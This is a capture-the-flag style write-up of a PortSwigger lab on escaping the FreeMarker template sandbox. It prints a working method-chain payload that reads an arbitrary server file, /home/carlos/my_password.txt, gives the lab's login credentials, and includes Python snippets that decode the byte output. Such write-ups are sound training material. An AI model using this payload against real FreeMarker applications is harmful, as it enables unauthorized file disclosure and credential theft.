[This lab](https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-in-a-sandboxed-environment) demonstrates how seemingly secure **FreeMarker sandboxing** can be bypassed using **method chaining** and access to fundamental Java classes. While sandboxing is meant to restrict what templates can access, FreeMarker does **not fully prevent method resolution**, especially when reflection-like capabilities are exposed. By leveraging access to the `product` object, we can traverse through its `Class` and protection domain to reach Java standard libraries — eventually calling `openStream()` on a `File` URI to exfiltrate the contents of a sensitive file. --- ##### Step-by-Step Exploitation ###### 1. Log In and Edit a Template Log in using: ``` Username: content-manager Password: C0nt3ntM4n4g3r ``` - Edit the **product description template** - Insert this test payload to confirm object access: ``` ${product.getClass()} ``` If it returns something like: ``` class lab.actions ``` Then `getClass()` is accessible — the sandbox is **weak or misconfigured**. ![[CleanShot 2025-05-05 at 14.05.00.png]] --- ###### 2. Build a Method Chain to Read a File Use standard Java methods accessible via `ClassLoader` and reflection: ```freemarker ${product .getClass() .getProtectionDomain() .getCodeSource() .getLocation() .toURI() .resolve("/home/carlos/my_password.txt") .toURL() .openStream() .readAllBytes()?join(" ")} ``` This payload: 1. Starts from the `product` object 2. Gets the `Class` → `ProtectionDomain` → `CodeSource` 3. Builds a full file URI using `.resolve(...) 4. Opens a stream to the file 5. Reads its contents as bytes 6. Joins the byte array into a space-separated string (e.g., `97 98 99`) Paste this into the template editor and **save**. --- ###### 3. Extract and Decode the File Contents Once rendered, you’ll see output like: ``` 97 98 99 100 49 50 51 ``` Convert this ASCII decimal sequence into characters: ```python >>> bytes([97, 98, 99, 100, 49, 50, 51]).decode() 'abcd123' ``` That string is the content of `my_password.txt`. ![[CleanShot 2025-05-05 at 14.10.37.png]] --- ###### 4. Submit the Flag Paste the decoded string into the lab's **Submit solution** form to solve it. --- ##### Why It Works This is a **sandbox escape** by chaining method calls: - `getClass()` → exposes Java type metadata - `getProtectionDomain()` → shows where the class was loaded from - `getCodeSource().getLocation()` → locates the JAR or class directory - `.resolve(...)` and `.toURL()` → builds a file path - `.openStream().readAllBytes()` → reads arbitrary file contents --- ##### 🐍 Quick Tip: Use Python to Decode Freemarker Byte Output Faster Than Burp While Burp Suite is great for general request/response handling, decoding space-separated ASCII values like: ``` 97 98 99 100 49 50 51 ``` can be **painfully slow** in Burp Decoder unless you install and format with Hackvertor. Instead, drop into a Python REPL or terminal and decode instantly: ```python bytes([97, 98, 99, 100, 49, 50, 51]).decode() # Output: 'abcd123' ``` Or copy-paste this one-liner: ```python print(bytes([int(x) for x in "97 98 99 100 49 50 51".split()]).decode()) ``` Way faster than clicking through Burp tabs — perfect for FreeMarker SSTI labs where output is numeric.